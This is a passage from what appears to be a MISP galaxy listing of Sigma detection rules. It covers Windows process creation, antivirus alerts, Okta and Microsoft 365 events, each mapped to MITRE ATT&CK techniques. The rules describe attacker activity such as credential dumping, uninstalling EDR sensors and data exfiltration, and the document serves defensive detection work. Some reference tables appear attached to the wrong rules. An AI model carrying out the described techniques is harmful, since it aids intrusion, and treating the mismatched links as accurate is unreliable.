<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_dll_sideload_xwizard.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_dll_sideload_xwizard.yml</a></td>
</tr>
</tbody>
</table>

Renamed CURL.EXE Execution

Detects the execution of a renamed "CURL.exe" binary based on the PE metadata fields

The tag is: misp-galaxy:sigma-rules="Renamed CURL.EXE Execution"

View relationships graph

Renamed CURL.EXE Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Indirect Command Execution - T1202" with estimative-language:likelihood-probability="almost-certain"

Table 10467. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/Kostastsale/status/1700965142828290260">https://twitter.com/Kostastsale/status/1700965142828290260</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_curl.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_curl.yml</a></td>
</tr>
</tbody>
</table>

Disabled RestrictedAdminMode For RDS - ProcCreation

Detect activation of DisableRestrictedAdmin to disable RestrictedAdmin mode. RestrictedAdmin mode prevents the transmission of reusable credentials to the remote system to which you connect using Remote Desktop. This prevents your credentials from being harvested during the initial
connection process if the remote server has been compromise

The tag is: **misp-galaxy:sigma-rules="Disabled RestrictedAdminMode For RDS - ProcCreation"**

**View relationships graph**

Disabled RestrictedAdminMode For RDS - ProcCreation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

**Table 10468. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/a8e3cf63e97b973a25903d3df9fd55da6252e564/atomics/T1112/T1112.md">https://github.com/redcanaryco/atomic-red-team/blob/a8e3cf63e97b973a25903d3df9fd55da6252e564/atomics/T1112/T1112.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_lsa_disable_restricted_admin.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_lsa_disable_restricted_admin.yml</a></td>
</tr>
</tbody>
</table>

**Service StartupType Change Via PowerShell Set-Service**

Detects the use of the PowerShell "Set-Service" cmdlet to change the startup type of a service to "disabled" or "manual"

The tag is: **misp-galaxy:sigma-rules="Service StartupType Change Via PowerShell Set-Service"**

**View relationships graph**

Service StartupType Change Via PowerShell Set-Service has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

**Table 10469. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.virustotal.com/gui/file/38283b775552da8981452941ea74191aa0d203edd3f61fb2dee7b0aea3514955">https://www.virustotal.com/gui/file/38283b775552da8981452941ea74191aa0d203edd3f61fb2dee7b0aea3514955</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_set_service_disabled.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_set_service_disabled.yml</a></td>
</tr>
</tbody>
</table>

**Uninstall Crowdstrike Falcon Sensor**

Adversaries may disable security tools to avoid possible detection of their tools and activities by uninstalling Crowdstrike Falcon
The tag is: `misp-galaxy:sigma-rules="Uninstall Crowdstrike Falcon Sensor"`

**View relationships graph**

Uninstall Crowdstrike Falcon Sensor has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001"` with estimative-language:likelihood-probability="almost-certain"

---

**Table 10470. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfe2a9/atomics/T1562.001/T1562.001.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfe2a9/atomics/T1562.001/T1562.001.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uninstall_crowdstrike_falcon.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uninstall_crowdstrike_falcon.yml</a></td>
</tr>
</tbody>
</table>

---

**Discovery of a System Time**

Identifies use of various commands to query a systems time. This technique may be used before executing a scheduled task or to discover the time zone of a target system.

The tag is: `misp-galaxy:sigma-rules="Discovery of a System Time"`

**View relationships graph**

Discovery of a System Time has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124"` with estimative-language:likelihood-probability="almost-certain"

---

**Table 10471. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfe2a9/atomics/T1124/T1124.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfe2a9/atomics/T1124/T1124.md</a></td>
</tr>
<tr>
<td><a href="https://eqllib.readthedocs.io/en/latest/analytics/fcdb99c2-ac3c-4bde-b664-4b336329bed2.html">https://eqllib.readthedocs.io/en/latest/analytics/fcdb99c2-ac3c-4bde-b664-4b336329bed2.html</a></td>
</tr>
</tbody>
</table>

---

**Remote Access Tool - ScreenConnect Suspicious Execution**

Detects ScreenConnect program starts that establish a remote access to that system (not meeting, not remote support)

The tag is: `misp-galaxy:sigma-rules="Remote Access Tool - ScreenConnect Suspicious Execution"`
Remote Access Tool - ScreenConnect Suspicious Execution has relationships with:


Table 10472. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_remote_access_tools_screenconnect_access.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_remote_access_tools_screenconnect_access.yml</a></td>
</tr>
</tbody>
</table>

Remote Access Tool - RURAT Execution From Unusual Location

Detects execution of Remote Utilities RAT (RURAT) from an unusual location (outside of ‘C:\Program Files’)

The tag is: misp-galaxy:sigma-rules="Remote Access Tool - RURAT Execution From Unusual Location"

Table 10473. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://redcanary.com/blog/misbehaving-rats/">https://redcanary.com/blog/misbehaving-rats/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_remote_access_tools_rurat_non_default_location.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_remote_access_tools_rurat_non_default_location.yml</a></td>
</tr>
</tbody>
</table>

Remote Access Tool - AnyDesk Silent Installation

Detects AnyDesk Remote Desktop silent installation. Which can be used by attackers to gain remote access.

The tag is: misp-galaxy:sigma-rules="Remote Access Tool - AnyDesk Silent Installation"

Remote Access Tool - AnyDesk Silent Installation has relationships with:


Table 10474. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://support.anydesk.com/Automatic_Deployment">https://support.anydesk.com/Automatic_Deployment</a></td>
</tr>
</tbody>
</table>

6559
HackTool - PowerTool Execution

Detects the execution of the tool PowerTool which has the ability to kill a process, delete its process file, unload drivers, and delete the driver files

The tag is: *misp-galaxy:sigma-rules=“HackTool - PowerTool Execution”*

View relationships graph

HackTool - PowerTool Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

---

Suspicious Control Panel DLL Load

Detects suspicious Rundll32 execution from control.exe as used by Equation Group and Exploit Kits

The tag is: *misp-galaxy:sigma-rules=“Suspicious Control Panel DLL Load”*

View relationships graph

Suspicious Control Panel DLL Load has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"

---

Table 10475. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/gbti_sa/status/1249653895900602375?lang=en">https://twitter.com/gbti_sa/status/1249653895900602375?lang=en</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_powertool.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_powertool.yml</a></td>
</tr>
</tbody>
</table>

Table 10476. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/felixw3000/status/853354851128025088">https://twitter.com/felixw3000/status/853354851128025088</a></td>
</tr>
</tbody>
</table>
**Potential Provlaunch.EXE Binary Proxy Execution Abuse**

Detects child processes of "provlaunch.exe" which might indicate potential abuse to proxy execution.

The tag is: `misp-galaxy:sigma-rules="Potential Provlaunch.EXE Binary Proxy Execution Abuse"`

**View relationships graph**

Potential Provlaunch.EXE Binary Proxy Execution Abuse has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218"` with estimative-language:likelihood-probability="almost-certain"

**Table 10477. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/0gtweet/status/1674399582162153472">https://twitter.com/0gtweet/status/1674399582162153472</a></td>
</tr>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Binaries/Provlaunch/">https://lolbas-project.github.io/lolbas/Binaries/Provlaunch/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_provlaunch_potential_abuse.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_provlaunch_potential_abuse.yml</a></td>
</tr>
</tbody>
</table>

**Antivirus Password Dumper Detection**

Detects a highly relevant Antivirus alert that reports a password dumper

The tag is: `misp-galaxy:sigma-rules="Antivirus Password Dumper Detection"`

**View relationships graph**

Antivirus Password Dumper Detection has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003"` with estimative-language:likelihood-probability="almost-certain"

- related-to: `misp-galaxy:mitre-attack-pattern="Steal or Forge Kerberos Tickets - T1558"` with estimative-language:likelihood-probability="almost-certain"

- related-to: `misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001"` with estimative-language:likelihood-probability="almost-certain"

Antivirus Relevant File Paths Alerts

Detects an Antivirus alert in a highly relevant file path or with a relevant file name

The tag is: misp-galaxy:sigma-rules="Antivirus Relevant File Paths Alerts"

View relationships graph

Antivirus Relevant File Paths Alerts has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obtain Capabilities - T1588" with estimative-language:likelihood-probability="almost-certain"

Antivirus Exploitation Framework Detection

Detects a highly relevant Antivirus alert that reports an exploitation framework

The tag is: misp-galaxy:sigma-rules="Antivirus Exploitation Framework Detection"

View relationships graph

Antivirus Exploitation Framework Detection has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
Antivirus Hacktool Detection

Detects a highly relevant Antivirus alert that reports a hack tool or other attack tool.

The tag is: `misp-galaxy:sigma-rules=“Antivirus Hacktool Detection”`

View relationships graph

Antivirus Hacktool Detection has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="User Execution - T1204"` with estimative-language:likelihood-probability="almost-certain"

Table 10481. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.nextron-systems.com/?s=antivirus">https://www.nextron-systems.com/?s=antivirus</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/category/antivirus/av_hacktool.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/category/antivirus/av_hacktool.yml</a></td>
</tr>
</tbody>
</table>

Antivirus Web Shell Detection

Detects a highly relevant Antivirus alert that reports a web shell. It's highly recommended to tune this rule to the specific strings used by your anti virus solution by downloading a big webshell repo from e.g. github and checking the matches.

The tag is: `misp-galaxy:sigma-rules=“Antivirus Web Shell Detection”`

View relationships graph

Antivirus Web Shell Detection has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Web Shell - T1505.003"` with estimative-language:likelihood-probability="almost-certain"

Table 10482. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.nextron-systems.com/?s=antivirus">https://www.nextron-systems.com/?s=antivirus</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/category/antivirus/av_hacktool.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/category/antivirus/av_hacktool.yml</a></td>
</tr>
</tbody>
</table>
Antivirus Ransomware Detection

Detects a highly relevant Antivirus alert that reports ransomware

The tag is: `misp-galaxy:sigma-rules="Antivirus Ransomware Detection"`

View relationships graph

Antivirus Ransomware Detection has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"

Table 10483. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.nextron-systems.com/?s=antivirus">https://www.nextron-systems.com/?s=antivirus</a></td>
</tr>
<tr>
<td><a href="https://www.virustotal.com/gui/file/7d3cb8a8ff28f82b07f382789247329ad2d7782a72dde9867941f13266310c80/detection">https://www.virustotal.com/gui/file/7d3cb8a8ff28f82b07f382789247329ad2d7782a72dde9867941f13266310c80/detection</a></td>
</tr>
<tr>
<td><a href="https://www.virustotal.com/gui/file/a80042c61a0372eaa0c2c1e831adf0d13ef09feaf71d1d20b216156269045801/detection">https://www.virustotal.com/gui/file/a80042c61a0372eaa0c2c1e831adf0d13ef09feaf71d1d20b216156269045801/detection</a></td>
</tr>
<tr>
<td><a href="https://www.virustotal.com/gui/file/b219f7d3c26f8bad7e175934cd5eda4ddb5e3983503e94ff07d39c0666821b7e/detection">https://www.virustotal.com/gui/file/b219f7d3c26f8bad7e175934cd5eda4ddb5e3983503e94ff07d39c0666821b7e/detection</a></td>
</tr>
<tr>
<td><a href="https://www.virustotal.com/gui/file/b8702acf32fd651af9f809ed42d15135f842788cd98d81a8e1b154ee2a2b76a2/detection">https://www.virustotal.com/gui/file/b8702acf32fd651af9f809ed42d15135f842788cd98d81a8e1b154ee2a2b76a2/detection</a></td>
</tr>
<tr>
<td><a href="https://www.virustotal.com/gui/file/13ae8bfbc02254b389ab052aba5e1ba169b16a399d9bc4cb7414c4a73cd7dc78/detection">https://www.virustotal.com/gui/file/13ae8bfbc02254b389ab052aba5e1ba169b16a399d9bc4cb7414c4a73cd7dc78/detection</a></td>
</tr>
<tr>
<td><a href="https://www.virustotal.com/gui/file/bd1d52289203866645e556e2766a21d2275877fbaafa056a76fe0cf884b7f8819/detection">https://www.virustotal.com/gui/file/bd1d52289203866645e556e2766a21d2275877fbaafa056a76fe0cf884b7f8819/detection</a></td>
</tr>
<tr>
<td><a href="https://www.virustotal.com/gui/file/308487ed28a3d9abc1fec7ebc812d4b5c07ab025037535421f64c60d3887a3e8/detection">https://www.virustotal.com/gui/file/308487ed28a3d9abc1fec7ebc812d4b5c07ab025037535421f64c60d3887a3e8/detection</a></td>
</tr>
<tr>
<td><a href="https://github.com/tennc/webshell">https://github.com/tennc/webshell</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/category/antivirus/av_webshell.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/category/antivirus/av_webshell.yml</a></td>
</tr>
</tbody>
</table>
Suspicious SQL Query

Detects suspicious SQL query keywords that are often used during recon, exfiltration or destructive activities. Such as dropping tables and selecting wildcard fields.

The tag is: `misp-galaxy:sigma-rules="Suspicious SQL Query"`

View relationships graph

Suspicious SQL Query has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="SQL Stored Procedures - T1505.001" with estimative-language:likelihood-probability="almost-certain"

Table 10484. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/sqlmapproject/sqlmap">https://github.com/sqlmapproject/sqlmap</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/category/database/db_anomalous_query.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/category/database/db_anomalous_query.yml</a></td>
</tr>
</tbody>
</table>

Okta FastPass Phishing Detection

Detects when Okta FastPass prevents a known phishing site.

The tag is: `misp-galaxy:sigma-rules="Okta FastPass Phishing Detection"`

View relationships graph

Okta FastPass Phishing Detection has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Phishing - T1566" with estimative-language:likelihood-probability="almost-certain"

Table 10485. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://sec.okta.com/fastpassphishingdetection">https://sec.okta.com/fastpassphishingdetection</a></td>
</tr>
<tr>
<td><a href="https://developer.okta.com/docs/reference/api/event-types/">https://developer.okta.com/docs/reference/api/event-types/</a></td>
</tr>
</tbody>
</table>
Okta Security Threat Detected

Detects when an security threat is detected in Okta.

The tag is: `misp-galaxy:sigma-rules="Okta Security Threat Detected"`

Table 10486. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_security_threat_detected.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_security_threat_detected.yml</a></td>
</tr>
</tbody>
</table>

Okta New Admin Console Behaviours

Detects when Okta identifies new activity in the Admin Console.

The tag is: `misp-galaxy:sigma-rules="Okta New Admin Console Behaviours"`

View relationships graph

Okta New Admin Console Behaviours has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Cloud Accounts - T1078.004"` with estimative-language:likelihood-probability="almost-certain"

Table 10487. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Okta Suspicious Activity Reported by End-user

Detects when an Okta end-user reports activity by their account as being potentially suspicious.

The tag is: `misp-galaxy:sigma-rules="Okta Suspicious Activity Reported by End-user"`

View relationships graph
Okta Suspicious Activity Reported by End-user has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Cloud Accounts - T1586.003" with estimative-language:likelihood-probability="almost-certain"

Table 10488. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/okta/workflows-templates/blob/master/workflows/suspicious_activity_reported/readme.md">https://github.com/okta/workflows-templates/blob/master/workflows/suspicious_activity_reported/readme.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_suspicious_activity_enduser_report.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_suspicious_activity_enduser_report.yml</a></td>
</tr>
</tbody>
</table>

**Okta User Account Locked Out**

Detects when an user account is locked out.

The tag is: misp-galaxy:sigma-rules="Okta User Account Locked Out"

View relationships graph

Okta User Account Locked Out has relationships with:


Table 10489. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://developer.okta.com/docs/reference/api/event-types/">https://developer.okta.com/docs/reference/api/event-types/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_user_account_locked_out.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_user_account_locked_out.yml</a></td>
</tr>
</tbody>
</table>

**Okta Identity Provider Created**

Detects when a new identity provider is created for Okta.

The tag is: misp-galaxy:sigma-rules="Okta Identity Provider Created"

View relationships graph

Okta Identity Provider Created has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Additional Cloud Credentials - T1098.001" with estimative-language:likelihood-probability="almost-certain"

Table 10490. Table References
Okta API Token Revoked

Detects when a API Token is revoked.

The tag is: *misp-galaxy: sigma-rules*="Okta API Token Revoked"

**Table 10491. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://developer.okta.com/docs/reference/api/event-types/">https://developer.okta.com/docs/reference/api/event-types/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_api_token_revoked.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_api_token_revoked.yml</a></td>
</tr>
</tbody>
</table>

Okta Policy Rule Modified or Deleted

Detects when an Policy Rule is Modified or Deleted.

The tag is: *misp-galaxy: sigma-rules*="Okta Policy Rule Modified or Deleted"

**Table 10492. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://developer.okta.com/docs/reference/api/event-types/">https://developer.okta.com/docs/reference/api/event-types/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_policy_rule_modified_or_deleted.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_policy_rule_modified_or_deleted.yml</a></td>
</tr>
</tbody>
</table>

Okta Unauthorized Access to App

Detects when unauthorized access to app occurs.

The tag is: *misp-galaxy: sigma-rules*="Okta Unauthorized Access to App"

**Table 10493. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://developer.okta.com/docs/reference/api/event-types/">https://developer.okta.com/docs/reference/api/event-types/</a></td>
</tr>
</tbody>
</table>
Okta Application Sign-On Policy Modified or Deleted

Detects when an application Sign-on Policy is modified or deleted.

The tag is: `misp-galaxy:sigma-rules=“Okta Application Sign-On Policy Modified or Deleted”`

Table 10494. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://developer.okta.com/docs/reference/api/event-types/">https://developer.okta.com/docs/reference/api/event-types/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_application_sign_on_policy_modified_or_deleted.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_application_sign_on_policy_modified_or_deleted.yml</a></td>
</tr>
</tbody>
</table>

Okta Admin Role Assignment Created

Detects when a new admin role assignment is created. Which could be a sign of privilege escalation or persistence.

The tag is: `misp-galaxy:sigma-rules=“Okta Admin Role Assignment Created”`

Table 10495. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://developer.okta.com/docs/reference/api/event-types/">https://developer.okta.com/docs/reference/api/event-types/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_admin_role_assignment_created.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_admin_role_assignment_created.yml</a></td>
</tr>
</tbody>
</table>

Okta Admin Role Assigned to an User or Group

Detects when an the Administrator role is assigned to an user or group.

The tag is: `misp-galaxy:sigma-rules=“Okta Admin Role Assigned to an User or Group”`

View relationships graph

Okta Admin Role Assigned to an User or Group has relationships with:


Table 10496. Table References
New Okta User Created

Detects new user account creation

The tag is: misp-galaxy:.sigma-rules="New Okta User Created"

Table 10497. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://developer.okta.com/docs/reference/api/event-types/">https://developer.okta.com/docs/reference/api/event-types/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_admin_role_assigned_to_user_or_group.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_admin_role_assigned_to_user_or_group.yml</a></td>
</tr>
</tbody>
</table>

Okta Application Modified or Deleted

Detects when an application is modified or deleted.

The tag is: misp-galaxy:.sigma-rules="Okta Application Modified or Deleted"

Table 10498. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://developer.okta.com/docs/reference/api/event-types/">https://developer.okta.com/docs/reference/api/event-types/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_application_modified_or_deleted.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_application_modified_or_deleted.yml</a></td>
</tr>
</tbody>
</table>

Potential Okta Password in AlternateID Field

Detects when a user has potentially entered their password into the username field, which will cause the password to be retained in log files.

The tag is: misp-galaxy:sigma-rules="Potential Okta Password in AlternateID Field"

View relationships graph

Potential Okta Password in AlternateID Field has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Unsecured Credentials - T1552" with estimative-language:likelihood-probability="almost-certain"
### Okta Admin Functions Access Through Proxy

Detects access to Okta admin functions through proxy.

The tag is: *misp-galaxy:sigma-rules=*“Okta Admin Functions Access Through Proxy”*

### Okta Network Zone Deactivated or Deleted

Detects when an Network Zone is Deactivated or Deleted.

The tag is: *misp-galaxy:sigma-rules=*“Okta Network Zone Deactivated or Deleted”*

### Okta API Token Created

Detects when a API token is created

The tag is: *misp-galaxy:sigma-rules=*“Okta API Token Created”*
Okta MFA Reset or Deactivated

Detects when an attempt at deactivating or resetting MFA.

The tag is: `misp-galaxy:sigma-rules="Okta MFA Reset or Deactivated"`

View relationships graph

Okta MFA Reset or Deactivated has relationships with:


Okta Policy Modified or Deleted

Detects when an Okta policy is modified or deleted.

The tag is: `misp-galaxy:sigma-rules="Okta Policy Modified or Deleted"`
Okta User Session Start Via An Anonymising Proxy Service

Detects when an Okta user session starts where the user is behind an anonymising proxy service.

The tag is: misp-galaxy:sigma-rules="Okta User Session Start Via An Anonymising Proxy Service"

View relationships graph

Okta User Session Start Via An Anonymising Proxy Service has relationships with:


Table 10505. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_user_session_start_via_anonymised_proxy.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/okta/okta_user_session_start_via_anonymised_proxy.yml</a></td>
</tr>
</tbody>
</table>

Disabling Multi Factor Authentication

Detects disabling of Multi Factor Authentication.

The tag is: misp-galaxy:sigma-rules="Disabling Multi Factor Authentication"

View relationships graph

Disabling Multi Factor Authentication has relationships with:


Table 10506. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://research.splunk.com/cloud/c783dd98-c703-4252-9e8a-f19d9f5c949e/">https://research.splunk.com/cloud/c783dd98-c703-4252-9e8a-f19d9f5c949e/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/audit/microsoft365_disabling_mfa.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/audit/microsoft365_disabling_mfa.yml</a></td>
</tr>
</tbody>
</table>

New Federated Domain Added

Detects the addition of a new Federated Domain.

The tag is: misp-galaxy:sigma-rules="New Federated Domain Added"
New Federated Domain Added has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Cloud Account - T1136.003" with estimative-language:likelihood-probability="almost-certain"

New Federated Domain Added - Exchange

Detects the addition of a new Federated Domain.

The tag is: misp-galaxy:sigma-rules="New Federated Domain Added - Exchange"

Activity from Anonymous IP Addresses

Detects when a Microsoft Cloud App Security reported when users were active from an IP address that has been identified as an anonymous proxy IP address.

The tag is: misp-galaxy:sigma-rules="Activity from Anonymous IP Addresses"
Activity from Anonymous IP Addresses has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Encrypted Channel - T1573" with estimative-language:likelihood-probability="almost-certain"

Table 10509. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/threat_management/microsoft365_activity_from_anonymous_ip_addresses.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/threat_management/microsoft365_activity_from_anonymous_ip_addresses.yml</a></td>
</tr>
</tbody>
</table>

Data Exfiltration to Unsanctioned Apps

Detects when a Microsoft Cloud App Security reported when a user or IP address uses an app that is not sanctioned to perform an activity that resembles an attempt to exfiltrate information from your organization.

The tag is: misp-galaxy:sigma-rules="Data Exfiltration to Unsanctioned Apps"

View relationships graph

Data Exfiltration to Unsanctioned Apps has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Transfer Data to Cloud Account - T1537" with estimative-language:likelihood-probability="almost-certain"

Table 10510. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/threat_management/microsoft365_data_exfiltration_to_unsanctioned_app.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/m365/threat_management/microsoft365_data_exfiltration_to_unsanctioned_app.yml</a></td>
</tr>
</tbody>
</table>

Suspicious Inbox Forwarding

